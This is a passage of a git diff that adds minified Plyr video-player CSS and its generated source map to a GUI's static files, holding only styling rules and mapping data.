scale(1)}.plyr__preview-thumb:before{border-left:4px solid transparent;border-left:var(--plyr-tooltip-arrow-size,4px) solid transparent;border-right:4px solid transparent;border-right:var(--plyr-tooltip-arrow-size,4px) solid transparent;border-top:4px solid hsla(0,0%,100%,.9);border-top:var(--plyr-tooltip-arrow-size,4px) solid var(--plyr-tooltip-background,hsla(0,0%,100%,.9));bottom:-4px;bottom:calc(var(--plyr-tooltip-arrow-size,4px)*-1);content:"";height:0;left:50%;position:absolute;transform:translateX(-50%);width:0;z-index:2}.plyr__preview-thumb__image-container{background:#c1c8d1;border-radius:2px;border-radius:calc(var(--plyr-tooltip-radius,3px) - 1px);overflow:hidden;position:relative;z-index:0}.plyr__preview-thumb__image-container img{height:100%;left:0;max-height:none;max-width:none;position:absolute;top:0;width:100%}.plyr__preview-thumb__time-container{bottom:6px;left:0;position:absolute;right:0;white-space:nowrap;z-index:3}.plyr__preview-thumb__time-container span{background-color:rgba(0,0,0,.55);border-radius:2px;border-radius:calc(var(--plyr-tooltip-radius,3px) - 1px);color:#fff;font-size:13px;font-size:var(--plyr-font-size-time,var(--plyr-font-size-small,13px));padding:3px 6px}.plyr__preview-scrubbing{bottom:0;filter:blur(1px);height:100%;left:0;margin:auto;opacity:0;overflow:hidden;pointer-events:none;position:absolute;right:0;top:0;transition:opacity .3s ease;width:100%;z-index:1}.plyr__preview-scrubbing--is-shown{opacity:1}.plyr__preview-scrubbing img{height:100%;left:0;max-height:none;max-width:none;object-fit:contain;position:absolute;top:0;width:100%}.plyr--no-transition{transition:none!important}.plyr__sr-only{clip:rect(1px,1px,1px,1px);overflow:hidden;border:0!important;height:1px!important;padding:0!important;position:absolute!important;width:1px!important}.plyr [hidden]{display:none!important} +/*# sourceMappingURL=2.bdb273ca.chunk.css.map */ \ No newline at end of file diff --git a/gui/static/css/2.bdb273ca.chunk.css.map b/gui/static/css/2.bdb273ca.chunk.css.map new file mode 100644 index 0000000..f27cc35 --- /dev/null +++ b/gui/static/css/2.bdb273ca.chunk.css.map @@ -0,0 +1 @@ +{"version":3,"sources":["plyr.css"],"names":[],"mappings":"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","file":"2.bdb273ca.chunk.css","sourcesContent":["@keyframes plyr-progress{to{background-position:25px 0;background-position:var(--plyr-progress-loading-size,25px) 0}}@keyframes plyr-popup{0%{opacity:.5;transform:translateY(10px)}to{opacity:1;transform:translateY(0)}}@keyframes plyr-fade-in{from{opacity:0}to{opacity:1}}.plyr{-moz-osx-font-smoothing:grayscale;-webkit-font-smoothing:antialiased;align-items:center;direction:ltr;display:flex;flex-direction:column;font-family:inherit;font-family:var(--plyr-font-family,inherit);font-variant-numeric:tabular-nums;font-weight:400;font-weight:var(--plyr-font-weight-regular,400);line-height:1.7;line-height:var(--plyr-line-height,1.7);max-width:100%;min-width:200px;position:relative;text-shadow:none;transition:box-shadow .3s ease;z-index:0}.plyr audio,.plyr iframe,.plyr video{display:block;height:100%;width:100%}.plyr button{font:inherit;line-height:inherit;width:auto}.plyr:focus{outline:0}.plyr--full-ui{box-sizing:border-box}.plyr--full-ui *,.plyr--full-ui ::after,.plyr--full-ui ::before{box-sizing:inherit}.plyr--full-ui a,.plyr--full-ui button,.plyr--full-ui input,.plyr--full-ui label{touch-action:manipulation}.plyr__badge{background:#4a5464;background:var(--plyr-badge-background,#4a5464);border-radius:2px;border-radius:var(--plyr-badge-border-radius,2px);color:#fff;color:var(--plyr-badge-text-color,#fff);font-size:9px;font-size:var(--plyr-font-size-badge,9px);line-height:1;padding:3px 4px}.plyr--full-ui ::-webkit-media-text-track-container{display:none}.plyr__captions{animation:plyr-fade-in .3s ease;bottom:0;display:none;font-size:13px;font-size:var(--plyr-font-size-small,13px);left:0;padding:10px;padding:var(--plyr-control-spacing,10px);position:absolute;text-align:center;transition:transform .4s ease-in-out;width:100%}.plyr__captions span:empty{display:none}@media (min-width:480px){.plyr__captions{font-size:15px;font-size:var(--plyr-font-size-base,15px);padding:calc(10px * 2);padding:calc(var(--plyr-control-spacing,10px) * 2)}}@media (min-width:768px){.plyr__captions{font-size:18px;font-size:var(--plyr-font-size-large,18px)}}.plyr--captions-active .plyr__captions{display:block}.plyr:not(.plyr--hide-controls) .plyr__controls:not(:empty)~.plyr__captions{transform:translateY(calc(10px * -4));transform:translateY(calc(var(--plyr-control-spacing,10px) * -4))}.plyr__caption{background:rgba(0,0,0,.8);background:var(--plyr-captions-background,rgba(0,0,0,.8));border-radius:2px;-webkit-box-decoration-break:clone;box-decoration-break:clone;color:#fff;color:var(--plyr-captions-text-color,#fff);line-height:185%;padding:.2em .5em;white-space:pre-wrap}.plyr__caption div{display:inline}.plyr__control{background:0 0;border:0;border-radius:3px;border-radius:var(--plyr-control-radius,3px);color:inherit;cursor:pointer;flex-shrink:0;overflow:visible;padding:calc(10px * .7);padding:calc(var(--plyr-control-spacing,10px) * .7);position:relative;transition:all .3s ease}.plyr__control svg{display:block;fill:currentColor;height:18px;height:var(--plyr-control-icon-size,18px);pointer-events:none;width:18px;width:var(--plyr-control-icon-size,18px)}.plyr__control:focus{outline:0}.plyr__control.plyr__tab-focus{outline-color:#00b3ff;outline-color:var(--plyr-tab-focus-color,var(--plyr-color-main,var(--plyr-color-main,#00b3ff)));outline-offset:2px;outline-style:dotted;outline-width:3px}a.plyr__control{text-decoration:none}a.plyr__control::after,a.plyr__control::before{display:none}.plyr__control.plyr__control--pressed .icon--not-pressed,.plyr__control.plyr__control--pressed .label--not-pressed,.plyr__control:not(.plyr__control--pressed) .icon--pressed,.plyr__control:not(.plyr__control--pressed) .label--pressed{display:none}.plyr--full-ui ::-webkit-media-controls{display:none}.plyr__controls{align-items:center;display:flex;justify-content:flex-end;text-align:center}.plyr__controls .plyr__progress__container{flex:1;min-width:0}.plyr__controls .plyr__controls__item{margin-left:calc(10px / 4);margin-left:calc(var(--plyr-control-spacing,10px)/ 4)}.plyr__controls .plyr__controls__item:first-child{margin-left:0;margin-right:auto}.plyr__controls .plyr__controls__item.plyr__progress__container{padding-left:calc(10px / 4);padding-left:calc(var(--plyr-control-spacing,10px)/ 4)}.plyr__controls .plyr__controls__item.plyr__time{padding:0 calc(10px / 2);padding:0 calc(var(--plyr-control-spacing,10px)/ 2)}.plyr__controls .plyr__controls__item.plyr__progress__container:first-child,.plyr__controls .plyr__controls__item.plyr__time+.plyr__time,.plyr__controls .plyr__controls__item.plyr__time:first-child{padding-left:0}.plyr__controls:empty{display:none}.plyr [data-plyr=airplay],.plyr [data-plyr=captions],.plyr [data-plyr=fullscreen],.plyr [data-plyr=pip]{display:none}.plyr--airplay-supported [data-plyr=airplay],.plyr--captions-enabled [data-plyr=captions],.plyr--fullscreen-enabled [data-plyr=fullscreen],.plyr--pip-supported [data-plyr=pip]{display:inline-block}.plyr__menu{display:flex;position:relative}.plyr__menu .plyr__control svg{transition:transform .3s ease}.plyr__menu .plyr__control[aria-expanded=true] svg{transform:rotate(90deg)}.plyr__menu .plyr__control[aria-expanded=true] .plyr__tooltip{display:none}.plyr__menu__container{animation:plyr-popup .2s ease;background:rgba(255,255,255,.9);background:var(--plyr-menu-background,rgba(255,255,255,.9));border-radius:4px;bottom:100%;box-shadow:0 1px 2px 